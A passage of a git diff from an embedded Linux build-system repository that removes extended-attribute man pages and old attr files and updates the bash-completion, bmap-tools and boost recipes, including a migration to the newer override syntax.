--pairs associated with inodes (files, directories, symlinks, etc).
--They are extensions to the normal attributes which are associated
--with all inodes in the system (i.e. the
--.BR stat (2)
--data).
--A complete overview of extended attributes concepts can be found in
--.BR attr (5).
--.PP
--.B listxattr
--retrieves the
--.I list
--of extended attribute names associated with the given
--.I path
--in the filesystem.
--The list is the set of (NULL-terminated) names, one after the other.
--Names of extended attributes to which the calling process does not
--have access may be omitted from the list.
--The length of the attribute name
--.I list
--is returned.
--.PP
--.B llistxattr
--is identical to
--.BR listxattr ,
--except in the case of a symbolic link, where the list of names of
--extended attributes associated with the link itself is retrieved,
--not the file that it refers to.
--.I list
--is a caller-allocated buffer of size
--.IR size .
--.PP
--.B flistxattr
--is identical to
--.BR listxattr ,
--only the open file pointed to by
--.I filedes
--(as returned by
--.BR open (2))
--is interrogated in place of
--.IR path .
--.PP
--A single extended attribute
--.I name
--is a simple NULL-terminated string.
--The name includes a namespace prefix \- there may be several, disjoint
--namespaces associated with an individual inode.
--.PP
--An empty buffer of
--.I size
--zero can be passed into these calls to return the current size of the
--list of extended attribute names, which can be used to estimate the
--size of a buffer which is sufficiently large to hold the list of names.
--.SH EXAMPLES
--The
--.I list
--of names is returned as an unordered array of NULL-terminated character
--strings (attribute names are separated by NULL characters), like this:
--.fam C
--.RS
--.nf
--user.name1\\0system.name1\\0user.name2\\0
--.fi
--.RE
--.fam T
--.P
--Filesystems like ext2, ext3 and XFS which implement POSIX ACLs using
--extended attributes, might return a
--.I list
--like this:
--.fam C
--.RS
--.nf
--system.posix_acl_access\\0system.posix_acl_default\\0
--.fi
--.RE
--.fam T
--.SH RETURN VALUE
--On success, a positive number is returned indicating the size of the
--extended attribute name list.
--On failure, \-1 is returned and
--.I errno
--is set appropriately.
--.PP
--If the
--.I size
--of the
--.I list
--buffer is too small to hold the result,
--.I errno
--is set to ERANGE.
--.PP
--If extended attributes are not supported by the filesystem, or are disabled,
--.I errno
--is set to ENOTSUP.
--.PP
--The errors documented for the
--.BR stat (2)
--system call are also applicable here.
--.SH AUTHORS
--Andreas Gruenbacher,
--.RI < a.gruenbacher@bestbits.at >
--and the SGI XFS development team,
--.RI < linux-xfs@oss.sgi.com >.
--Please send any bug reports or comments to these addresses.
--.SH SEE ALSO
--.BR getfattr (1),
--.BR setfattr (1),
--.BR open (2),
--.BR stat (2),
--.BR getxattr (2),
--.BR setxattr (2),
--.BR removexattr (2),
--and
--.BR attr (5).
-diff --git a/man/man2/removexattr.2 b/man/man2/removexattr.2
-deleted file mode 100644
-index 2c7d934..0000000
---- a/man/man2/removexattr.2
-+++ /dev/null
-@@ -1,111 +0,0 @@
--.\"
--.\" Extended attributes system calls manual pages
--.\"
--.\" (C) Andreas Gruenbacher, February 2001
--.\" (C) Silicon Graphics Inc, September 2001
--.\"
--.\" This is free documentation; you can redistribute it and/or
--.\" modify it under the terms of the GNU General Public License as
--.\" published by the Free Software Foundation; either version 2 of
--.\" the License, or (at your option) any later version.
--.\"
--.\" The GNU General Public License's references to "object code"
--.\" and "executables" are to be interpreted as the output of any
--.\" document formatting or typesetting system, including
--.\" intermediate and printed output.
--.\"
--.\" This manual is distributed in the hope that it will be useful,
--.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
--.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--.\" GNU General Public License for more details.
--.\"
--.\" You should have received a copy of the GNU General Public
--.\" License along with this manual. If not, see
--.\" <http://www.gnu.org/licenses/>.
--.\"
--.TH REMOVEXATTR 2 "Extended Attributes" "Dec 2001" "System calls"
--.SH NAME
--removexattr, lremovexattr, fremovexattr \- remove an extended attribute
--.SH SYNOPSIS
--.fam C
--.nf
--.B #include <sys/types.h>
--.B #include <attr/xattr.h>
--.sp
--.BI "int removexattr (const char\ *" path ", const char\ *" name );
--.BI "int lremovexattr (const char\ *" path ", const char\ *" name );
--.BI "int fremovexattr (int " filedes ", const char\ *" name );
--.fi
--.fam T
--.SH DESCRIPTION
--Extended attributes are
--.IR name :\c
--value pairs associated with inodes (files, directories, symlinks, etc).
--They are extensions to the normal attributes which are associated
--with all inodes in the system (i.e. the
--.BR stat (2)
--data).
--A complete overview of extended attributes concepts can be found in
--.BR attr (5).
--.PP
--.B removexattr
--removes the extended attribute identified by
--.I name
--and associated with the given
--.I path
--in the filesystem.
--.PP
--.B lremovexattr
--is identical to
--.BR removexattr ,
--except in the case of a symbolic link, where the extended attribute is
--removed from the link itself, not the file that it refers to.
--.PP
--.B fremovexattr
--is identical to
--.BR removexattr ,
--only the extended attribute is removed from the open file pointed to by
--.I filedes
--(as returned by
--.BR open (2))
--in place of
--.IR path .
--.PP
--An extended attribute name is a simple NULL-terminated string.
--The
--.I name
--includes a namespace prefix \- there may be several, disjoint
--namespaces associated with an individual inode.
--.SH RETURN VALUE
--On success, zero is returned.
--On failure, \-1 is returned and
--.I errno
--is set appropriately.
--.PP
--If the named attribute does not exist,
--.I errno
--is set to ENOATTR.
--.PP
--If extended attributes are not supported by the filesystem, or are disabled,
--.I errno
--is set to ENOTSUP.
--.PP
--The errors documented for the
--.BR stat (2)
--system call are also applicable here.
--.SH AUTHORS
--Andreas Gruenbacher,
--.RI < a.gruenbacher@bestbits.at >
--and the SGI XFS development team,
--.RI < linux-xfs@oss.sgi.com >.
--Please send any bug reports or comments to these addresses.
--.SH SEE ALSO
--.BR getfattr (1),
--.BR setfattr (1),
--.BR open (2),
--.BR stat (2),
--.BR setxattr (2),
--.BR getxattr (2),
--.BR listxattr (2),
--and
--.BR attr (5).
-diff --git a/man/man2/setxattr.2 b/man/man2/setxattr.2
-deleted file mode 100644
-index b20dc9f..0000000
---- a/man/man2/setxattr.2
-+++ /dev/null
-@@ -1,143 +0,0 @@
--.\"
--.\" Extended attributes system calls manual pages
--.\"
--.\" (C) Andreas Gruenbacher, February 2001
--.\" (C) Silicon Graphics Inc, September 2001
--.\"
--.\" This is free documentation; you can redistribute it and/or
--.\" modify it under the terms of the GNU General Public License as
--.\" published by the Free Software Foundation; either version 2 of
--.\" the License, or (at your option) any later version.
--.\"
--.\" The GNU General Public License's references to "object code"
--.\" and "executables" are to be interpreted as the output of any
--.\" document formatting or typesetting system, including
--.\" intermediate and printed output.
--.\"
--.\" This manual is distributed in the hope that it will be useful,
--.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
--.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--.\" GNU General Public License for more details.
--.\"
--.\" You should have received a copy of the GNU General Public
--.\" License along with this manual. If not, see
--.\" <http://www.gnu.org/licenses/>.
--.\"
--.TH SETXATTR 2 "Extended Attributes" "Dec 2001" "System calls"
--.SH NAME
--setxattr, lsetxattr, fsetxattr \- set an extended attribute value
--.SH SYNOPSIS
--.fam C
--.nf
--.B #include <sys/types.h>
--.B #include <attr/xattr.h>
--.sp
--.BI "int setxattr (const char\ *" path ", const char\ *" name ",
--.BI "\t\t\t const void\ *" value ", size_t " size ", int " flags );
--.BI "int lsetxattr (const char\ *" path ", const char\ *" name ",
--.BI "\t\t\t const void\ *" value ", size_t " size ", int " flags );
--.BI "int fsetxattr (int " filedes ", const char\ *" name ",
--.BI "\t\t\t const void\ *" value ", size_t " size ", int " flags );
--.fi
--.fam T
--.SH DESCRIPTION
--Extended attributes are
--.IR name :\c
--.I value
--pairs associated with inodes (files, directories, symlinks, etc).
--They are extensions to the normal attributes which are associated
--with all inodes in the system (i.e. the
--.BR stat (2)
--data).
--A complete overview of extended attributes concepts can be found in
--.BR attr (5).
--.PP
--.B setxattr
--sets the
--.I value
--of the extended attribute identified by
--.I name
--and associated with the given
--.I path
--in the filesystem.
--The
--.I size
--of the
--.I value
--must be specified.
--.PP
--.B lsetxattr
--is identical to
--.BR setxattr ,
--except in the case of a symbolic link, where the extended attribute is
--set on the link itself, not the file that it refers to.
--.PP
--.B fsetxattr
--is identical to
--.BR setxattr ,
--only the extended attribute is set on the open file pointed to by
--.I filedes
--(as returned by
--.BR open (2))
--in place of
--.IR path .
--.PP
--An extended attribute name is a simple NULL-terminated string.
--The
--.I name
--includes a namespace prefix \- there may be several, disjoint
--namespaces associated with an individual inode.
--The
--.I value
--of an extended attribute is a chunk of arbitrary textual or
--binary data of specified length.
--.PP
--The
--.I flags
--parameter can be used to refine the semantics of the operation.
--XATTR_CREATE specifies a pure create, which fails if the named
--attribute exists already.
--XATTR_REPLACE specifies a pure replace operation, which fails if the
--named attribute does not already exist.
--By default (no flags), the extended attribute will be created if
--need be, or will simply replace the value if the attribute exists.
--.SH RETURN VALUE
--On success, zero is returned.
--On failure, \-1 is returned and
--.I errno
--is set appropriately.
--.PP
--If XATTR_CREATE is specified, and the attribute exists already,
--.I errno
--is set to EEXIST.
--If XATTR_REPLACE is specified, and the attribute does not exist,
--.I errno
--is set to ENOATTR.
--.PP
--If there is insufficient space remaining to store the extended attribute,
--.I errno
--is set to either ENOSPC, or EDQUOT if quota enforcement was the cause.
--.PP
--If extended attributes are not supported by the filesystem, or are disabled,
--.I errno
--is set to ENOTSUP.
--.PP
--The errors documented for the
--.BR stat (2)
--system call are also applicable here.
--.SH AUTHORS
--Andreas Gruenbacher,
--.RI < a.gruenbacher@bestbits.at >
--and the SGI XFS development team,
--.RI < linux-xfs@oss.sgi.com >.
--Please send any bug reports or comments to these addresses.
--.SH SEE ALSO
--.BR getfattr (1),
--.BR setfattr (1),
--.BR open (2),
--.BR stat (2),
--.BR getxattr (2),
--.BR listxattr (2),
--.BR removexattr (2),
--and
--.BR attr (5).
---
-2.7.4
-
diff --git a/meta/recipes-support/attr/files/relative-libdir.patch b/meta/recipes-support/attr/files/relative-libdir.patch
deleted file mode 100644
index b72bf184d6..0000000000
--- a/meta/recipes-support/attr/files/relative-libdir.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-Upstream-Status: Pending
-
-use relative path in symbolic links, or it fails in staging
-sed expression from udev
-
-7/29/2010 - created by Qing He <qing.he@intel.com>
-
-diff -u include.orig/buildmacros include/buildmacros
---- include.orig/buildmacros 2010-07-29 17:39:48.000000000 +0800
-+++ include/buildmacros 2010-07-29 18:20:34.000000000 +0800
-@@ -88,9 +88,11 @@
- ../$(INSTALL) -m 755 -d $(PKG_LIB_DIR); \
- ../$(INSTALL) -T so_base $(LIBNAME).lai $(PKG_LIB_DIR); \
- if test "x$(PKG_DEVLIB_DIR)" != "x$(PKG_LIB_DIR)" ; then \
-- ../$(INSTALL) -S $(PKG_DEVLIB_DIR)/$(LIBNAME).a $(PKG_LIB_DIR)/$(LIBNAME).a; \
-- ../$(INSTALL) -S $(PKG_DEVLIB_DIR)/$(LIBNAME).la $(PKG_LIB_DIR)/$(LIBNAME).la; \
-- ../$(INSTALL) -S $(PKG_LIB_DIR)/$(LIBNAME).so $(PKG_DEVLIB_DIR)/$(LIBNAME).so; \
-+ rel_lib_prefix=$$(echo $(PKG_LIB_DIR) | sed 's,\(^/\|\)[^/][^/]*,..,g'); \
-+ ../$(INSTALL) -S $$rel_lib_prefix$(PKG_DEVLIB_DIR)/$(LIBNAME).a $(PKG_LIB_DIR)/$(LIBNAME).a; \
-+ ../$(INSTALL) -S $$rel_lib_prefix$(PKG_DEVLIB_DIR)/$(LIBNAME).la $(PKG_LIB_DIR)/$(LIBNAME).la; \
-+ rel_devlib_prefix=$$(echo $(PKG_DEVLIB_DIR) | sed 's,\(^/\|\)[^/][^/]*,..,g'); \
-+ ../$(INSTALL) -S $$rel_devlib_prefix$(PKG_LIB_DIR)/$(LIBNAME).so $(PKG_DEVLIB_DIR)/$(LIBNAME).so; \
- fi
- else
- INSTALL_LTLIB_DEV = $(INSTALL_LTLIB_STATIC)
diff --git a/meta/recipes-support/attr/files/run-ptest b/meta/recipes-support/attr/files/run-ptest
deleted file mode 100644
index a6c6867f2d..0000000000
--- a/meta/recipes-support/attr/files/run-ptest
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/sh
-
-make -C test -k tests root-tests |sed \
- -e 's|^\[.*\] \(.*\) -- ok$|PASS: \1|' \
- -e 's|^\[.*\] \(.*\) -- failed|FAIL: \1|'
diff --git a/meta/recipes-support/bash-completion/bash-completion_2.11.bb b/meta/recipes-support/bash-completion/bash-completion_2.11.bb
new file mode 100644
index 0000000000..d981dd0c3a
--- /dev/null
+++ b/meta/recipes-support/bash-completion/bash-completion_2.11.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Programmable Completion for Bash 4"
+DESCRIPTION = "Collection of command line command completions for the Bash shell, \
+collection of helper functions to assist in creating new completions, \
+and set of facilities for loading completions automatically on demand, as well \
+as installing them."
+
+HOMEPAGE = "https://github.com/scop/bash-completion"
+BUGTRACKER = "https://github.com/scop/bash-completion/issues"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SECTION = "console/utils"
+
+SRC_URI = "https://github.com/scop/bash-completion/releases/download/${PV}/${BPN}-${PV}.tar.xz"
+
+SRC_URI[md5sum] = "2514c6772d0de6254758b98c53f91861"
+SRC_URI[sha256sum] = "73a8894bad94dee83ab468fa09f628daffd567e8bef1a24277f1e9a0daf911ac"
+UPSTREAM_CHECK_REGEX = "bash-completion-(?P<pver>(?!2008).+)\.tar"
+UPSTREAM_CHECK_URI = "https://github.com/scop/bash-completion/releases"
+
+PARALLEL_MAKE = ""
+
+inherit autotools
+
+do_install:append() {
+ # compatdir
+ install -d ${D}${sysconfdir}/bash_completion.d/
+ echo '. ${datadir}/${BPN}/bash_completion' >${D}${sysconfdir}/bash_completion
+
+}
+
+RDEPENDS:${PN} = "bash"
+
+# Some recipes are providing ${PN}-bash-completion packages
+PACKAGES =+ "${PN}-extra"
+FILES:${PN}-extra = "${datadir}/${BPN}/completions/ \
+ ${datadir}/${BPN}/helpers/"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/bash-completion/bash-completion_2.9.bb b/meta/recipes-support/bash-completion/bash-completion_2.9.bb
deleted file mode 100644
index cd2c4cbba8..0000000000
--- a/meta/recipes-support/bash-completion/bash-completion_2.9.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Programmable Completion for Bash 4"
-HOMEPAGE = "http://bash-completion.alioth.debian.org/"
-BUGTRACKER = "https://alioth.debian.org/projects/bash-completion/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SECTION = "console/utils"
-
-SRC_URI = "https://github.com/scop/bash-completion/releases/download/${PV}/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "60139333b25c4d54ad40323b701be130"
-SRC_URI[sha256sum] = "d48fe378e731062f479c5f8802ffa9d3c40a275a19e6e0f6f6cc4b90fa12b2f5"
-UPSTREAM_CHECK_REGEX = "bash-completion-(?P<pver>(?!2008).+)\.tar"
-UPSTREAM_CHECK_URI = "https://github.com/scop/bash-completion/releases"
-
-PARALLEL_MAKE = ""
-
-inherit autotools
-
-do_install_append() {
- # compatdir
- install -d ${D}${sysconfdir}/bash_completion.d/
- echo '. ${datadir}/${BPN}/bash_completion' >${D}${sysconfdir}/bash_completion
-
-}
-
-RDEPENDS_${PN} = "bash"
-
-# Some recipes are providing ${PN}-bash-completion packages
-PACKAGES =+ "${PN}-extra"
-FILES_${PN}-extra = "${datadir}/${BPN}/completions/ \
- ${datadir}/${BPN}/helpers/"
-
-FILES_${PN}-dev += "${datadir}/cmake"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb b/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb
deleted file mode 100644
index 7c4db85b32..0000000000
--- a/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Tools to generate block map (AKA bmap) and flash images using bmap"
-DESCRIPTION = "Bmap-tools - tools to generate block map (AKA bmap) and flash images using \
-bmap. Bmaptool is a generic tool for creating the block map (bmap) for a file, \
-and copying files using the block map. The idea is that large file containing \
-unused blocks, like raw system image files, can be copied or flashed a lot \
-faster with bmaptool than with traditional tools like "dd" or "cp"."
-HOMEPAGE = "https://github.com/01org/bmap-tools"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/intel/${BPN}"
-
-SRCREV = "db7087b883bf52cbff063ad17a41cc1cbb85104d"
-S = "${WORKDIR}/git"
-PV .= "+git${SRCPV}"
-
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-
-RDEPENDS_${PN} = "python3-core python3-compression python3-mmap python3-setuptools python3-fcntl python3-six"
-
-inherit python3native
-inherit setuptools3
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/bmap-tools/bmap-tools_git.bb b/meta/recipes-support/bmap-tools/bmap-tools_git.bb
new file mode 100644
index 0000000000..78c51e7731
--- /dev/null
+++ b/meta/recipes-support/bmap-tools/bmap-tools_git.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Tools to generate block map (AKA bmap) and flash images using bmap"
+DESCRIPTION = "Bmap-tools - tools to generate block map (AKA bmap) and flash images using \
+bmap. Bmaptool is a generic tool for creating the block map (bmap) for a file, \
+and copying files using the block map. The idea is that large file containing \
+unused blocks, like raw system image files, can be copied or flashed a lot \
+faster with bmaptool than with traditional tools like "dd" or "cp"."
+HOMEPAGE = "https://github.com/01org/bmap-tools"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/intel/${BPN};branch=master;protocol=https"
+
+SRCREV = "c0673962a8ec1624b5189dc1d24f33fe4f06785a"
+S = "${WORKDIR}/git"
+BASEVER = "3.6"
+PV = "${BASEVER}+git${SRCPV}"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+# Need df from coreutils
+RDEPENDS:${PN} = "python3-core python3-compression python3-mmap python3-setuptools python3-fcntl python3-six coreutils"
+
+inherit setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/boost/bjam-native_1.71.0.bb b/meta/recipes-support/boost/bjam-native_1.71.0.bb
deleted file mode 100644
index d843eb038c..0000000000
--- a/meta/recipes-support/boost/bjam-native_1.71.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require boost-${PV}.inc
-
-SUMMARY = "Portable Boost.Jam build tool for boost"
-SECTION = "devel"
-
-inherit native
-
-SRC_URI += "file://0001-Build-debug-version-of-bjam.patch \
- file://0001-build.sh-use-DNDEBUG-also-in-debug-builds.patch \
- "
-
-do_compile() {
- ./bootstrap.sh --with-toolset=gcc
-}
-
-do_install() {
- install -d ${D}${bindir}/
- # install unstripped version for bjam
- install -c -m 755 b2 ${D}${bindir}/bjam
-}
diff --git a/meta/recipes-support/boost/boost-1.71.0.inc b/meta/recipes-support/boost/boost-1.71.0.inc
deleted file mode 100644
index 7164d0f1c5..0000000000
--- a/meta/recipes-support/boost/boost-1.71.0.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-# The Boost web site provides free peer-reviewed portable
-# C++ source libraries. The emphasis is on libraries which
-# work well with the C++ Standard Library. The libraries are
-# intended to be widely useful, and are in regular use by
-# thousands of programmers across a broad spectrum of applications.
-HOMEPAGE = "http://www.boost.org/"
-LICENSE = "BSL-1.0 & MIT & Python-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE_1_0.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
-
-BOOST_VER = "${@"_".join(d.getVar("PV").split("."))}"
-BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}"
-BOOST_P = "boost_${BOOST_VER}"
-
-SRC_URI = "https://dl.bintray.com/boostorg/release/${PV}/source/${BOOST_P}.tar.bz2"
-SRC_URI[md5sum] = "4cdf9b5c2dc01fb2b7b733d5af30e558"
-SRC_URI[sha256sum] = "d73a8da01e8bf8c7eda40b4c84915071a8c8a0df4a6734537ddde4a8580524ee"
-
-UPSTREAM_CHECK_URI = "http://www.boost.org/users/download/"
-UPSTREAM_CHECK_REGEX = "boostorg/release/(?P<pver>.*)/source/"
-
-S = "${WORKDIR}/${BOOST_P}"
diff --git a/meta/recipes-support/boost/boost-1.78.0.inc b/meta/recipes-support/boost/boost-1.78.0.inc
new file mode 100644
index 0000000000..729a47b54f
--- /dev/null
+++ b/meta/recipes-support/boost/boost-1.78.0.inc
@@ -0,0 +1,20 @@
+# The Boost web site provides free peer-reviewed portable
+# C++ source libraries. The emphasis is on libraries which
+# work well with the C++ Standard Library. The libraries are
+# intended to be widely useful, and are in regular use by
+# thousands of programmers across a broad spectrum of applications.
+HOMEPAGE = "http://www.boost.org/"
+LICENSE = "BSL-1.0 & MIT & Python-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE_1_0.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
+
+BOOST_VER = "${@"_".join(d.getVar("PV").split("."))}"
+BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}"
+BOOST_P = "boost_${BOOST_VER}"
+
+SRC_URI = "https://boostorg.jfrog.io/artifactory/main/release/${PV}/source/${BOOST_P}.tar.bz2"
+SRC_URI[sha256sum] = "8681f175d4bdb26c52222665793eef08490d7758529330f98d3b29dd0735bccc"
+
+UPSTREAM_CHECK_URI = "http://www.boost.org/users/download/"
+UPSTREAM_CHECK_REGEX = "release/(?P<pver>.*)/source/"
+
+S = "${WORKDIR}/${BOOST_P}"
diff --git a/meta/recipes-support/boost/boost-build-native_4.4.1.bb b/meta/recipes-support/boost/boost-build-native_4.4.1.bb
new file mode 100644
index 0000000000..de566eeb82
--- /dev/null
+++ b/meta/recipes-support/boost/boost-build-native_4.4.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Boost.Build"
+DESCRIPTION = "B2 makes it easy to build C++ projects, everywhere."
+HOMEPAGE = "https://github.com/boostorg/build"
+SECTION = "devel"
+
+LICENSE = "BSL-1.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
+
+SRC_URI = "git://github.com/boostorg/build;protocol=https;branch=master"
+SRCREV = "76da80f33187a3d9e5336157cdfae12ce82e37eb"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+){2,}))"
+
+inherit native
+
+S = "${WORKDIR}/git"
+
+do_compile() {
+ ./bootstrap.sh
+}
+
+do_install() {
+ HOME=/var/run ./b2 install --prefix=${prefix} staging-prefix=${D}${prefix}
+}
+
+# The build is either release mode (pre-stripped) or debug (-O0).
+INSANE_SKIP:${PN} = "already-stripped"
diff --git a/meta/recipes-support/boost/boost.inc b/meta/recipes-support/boost/boost.inc
index e15dce4e1d..402f1592cf 100644
--- a/meta/recipes-support/boost/boost.inc
+++ b/meta/recipes-support/boost/boost.inc
@@ -1,22 +1,34 @@
SUMMARY = "Free peer-reviewed portable C++ source libraries"
+DESCRIPTION = "Provides free peer-reviewed portable C++ source libraries. The emphasis is on libraries which work well with the C++ \
+Standard Library. One goal is to establish 'existing practice' and \
+provide reference implementations so that the Boost libraries are suitable for eventual standardization. Some of the libraries have already been proposed for inclusion in the C++ Standards Committee's \
+upcoming C++ Standard Library Technical Report."
SECTION = "libs"
-DEPENDS = "bjam-native zlib bzip2"
+DEPENDS = "boost-build-native zlib bzip2"
CVE_PRODUCT = "boost:boost"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
BOOST_LIBS = "\
atomic \
chrono \
container \
+ context \
contract \
+ coroutine \
date_time \
exception \
+ fiber \
filesystem \
graph \
+ headers \
iostreams \
+ json \
log \
math \
program_options \
@@ -24,23 +36,13 @@ BOOST_LIBS = "\
regex \
serialization \
system \
- timer \
test \
thread \
+ timer \
+ type_erasure \
wave \
"
-# only supported by x86 and powerpc
-BOOST_LIBS_append_x86 = " context coroutine"
-BOOST_LIBS_append_x86-64 = " context coroutine"
-BOOST_LIBS_append_powerpc = " context coroutine"
-BOOST_LIBS_append_arm = " context coroutine"
-BOOST_LIBS_append_aarch64 = " context coroutine"
-# need consistent settings for native builds (x86 override not applied for native)
-BOOST_LIBS_remove_class-native = " context coroutine"
-# does not compile
-BOOST_LIBS_remove_mips16e = "wave"
-
# optional libraries
PACKAGECONFIG ??= "locale python"
PACKAGECONFIG[locale] = ",,icu"
@@ -62,36 +64,43 @@ PACKAGES = "${PN}-dbg ${BOOST_PACKAGES}"
python __anonymous () {
packages = []
extras = []
+ pn = d.getVar("PN")
+ mlprefix = d.getVar("MLPREFIX")
for lib in d.getVar('BOOST_LIBS').split():
extras.append("--with-%s" % lib)
- pkg = "boost-%s" % lib.replace("_", "-")
- packages.append(pkg)
- if not d.getVar("FILES_%s" % pkg):
- d.setVar("FILES_%s" % pkg, "${libdir}/libboost_%s*.so.*" % lib)
+ pkg = "boost-%s" % (lib.replace("_", "-"))
+ if "-native" in pn:
+ pkg = pkg + "-native"
+ packages.append(mlprefix + pkg)
+ if not d.getVar("FILES:%s" % pkg):
+ d.setVar("FILES:%s%s" % (mlprefix, pkg), "${libdir}/libboost_%s*.so.*" % lib)
+ else:
+ d.setVar("FILES:%s%s" % (mlprefix, pkg), d.getVar("FILES:%s" % pkg))
+
d.setVar("BOOST_PACKAGES", " ".join(packages))
d.setVar("BJAM_EXTRA", " ".join(extras))
}
# Override the contents of specific packages
-FILES_${PN}-graph_parallel = "${libdir}/libboost_graph_parallel.so.*"
-FILES_${PN}-locale = "${libdir}/libboost_locale.so.*"
-FILES_${PN}-mpi = "${libdir}/mpi.so ${libdir}/libboost_mpi*.so.*"
-FILES_boost-serialization = "${libdir}/libboost_serialization*.so.* \
+FILES:${PN}-graph_parallel = "${libdir}/libboost_graph_parallel.so.*"
+FILES:${PN}-locale = "${libdir}/libboost_locale.so.*"
+FILES:${PN}-mpi = "${libdir}/mpi.so ${libdir}/libboost_mpi*.so.*"
+FILES:boost-serialization = "${libdir}/libboost_serialization*.so.* \
${libdir}/libboost_wserialization*.so.*"
-FILES_boost-test = "${libdir}/libboost_prg_exec_monitor*.so.* \
+FILES:boost-test = "${libdir}/libboost_prg_exec_monitor*.so.* \
${libdir}/libboost_unit_test_framework*.so.*"
# -dev last to pick up the remaining stuff
PACKAGES += "${PN}-dev ${PN}-staticdev"
-FILES_${PN}-dev = "${includedir} ${libdir}/libboost_*.so ${libdir}/cmake"
-FILES_${PN}-staticdev = "${libdir}/libboost_*.a"
+FILES:${PN}-dev = "${includedir} ${libdir}/libboost_*.so ${libdir}/cmake"
+FILES:${PN}-staticdev = "${libdir}/libboost_*.a"
# "boost" is a metapackage which pulls in all boost librabries
PACKAGES += "${PN}"
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
-RRECOMMENDS_${PN} += "${BOOST_PACKAGES}"
-RRECOMMENDS_${PN}_class-native = ""
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
+RRECOMMENDS:${PN} += "${BOOST_PACKAGES}"
+RRECOMMENDS:${PN}:class-native = ""
# to avoid GNU_HASH QA errors added LDFLAGS to ARCH; a little bit dirty but at least it works
TARGET_CC_ARCH += "${LDFLAGS}"
@@ -142,26 +151,27 @@ BOOST_PARALLEL_MAKE = "${@oe.utils.parallel_make_argument(d, '-j%d')}"
BJAM_OPTS = '${BOOST_PARALLEL_MAKE} -d+2 -q \
${BJAM_TOOLS} \
-sBOOST_BUILD_USER_CONFIG=${WORKDIR}/user-config.jam \
- --build-dir=${S}/${TARGET_SYS} \
+ --build-dir=${B} \
--disable-icu \
${BJAM_EXTRA}'
# Native compilation of bzip2 isn't working
-BJAM_OPTS_append_class-native = ' -sNO_BZIP2=1'
+BJAM_OPTS:append:class-native = ' -sNO_BZIP2=1'
# Adjust the build for x32
-BJAM_OPTS_append_x86-x32 = " abi=x32 address-model=64"
+BJAM_OPTS:append:x86-x32 = " abi=x32 address-model=64"
# cross compiling for arm fails to detect abi, so provide some help
-BJAM_OPTS_append_arm = " abi=aapcs architecture=arm"
-BJAM_OPTS_append_aarch64 = " abi=aapcs address-model=64 architecture=arm"
+BJAM_OPTS:append:arm = " abi=aapcs architecture=arm"
+BJAM_OPTS:append:aarch64 = " abi=aapcs address-model=64 architecture=arm"
do_configure() {
+ cd ${S}
cp -f ${S}/boost/config/platform/linux.hpp ${S}/boost/config/platform/linux-gnueabi.hpp
# D2194:Fixing the failure of "error: duplicate initialization of gcc with the following parameters" during compilation.
rm -f ${WORKDIR}/user-config.jam
- echo 'using gcc : 4.3.1 : ${CXX} : <cflags>"${CFLAGS}" <cxxflags>"${CXXFLAGS}" <linkflags>"${LDFLAGS}" ;' >> ${WORKDIR}/user-config.jam
+ echo 'using gcc : : ${CXX} : <cflags>"${CFLAGS}" <cxxflags>"${CXXFLAGS}" <linkflags>"${LDFLAGS}" ;' >> ${WORKDIR}/user-config.jam
# If we want Python then we need to tell Boost *exactly* where to find it
if ${@bb.utils.contains('BOOST_LIBS', 'python', 'true', 'false', d)}; then
@@ -172,7 +182,7 @@ do_configure() {
echo "using mpi : : <find-shared-library>mpi ;" >> ${WORKDIR}/user-config.jam
fi
- CC="${BUILD_CC}" CFLAGS="${BUILD_CFLAGS}" ./bootstrap.sh --with-bjam=bjam --with-toolset=gcc
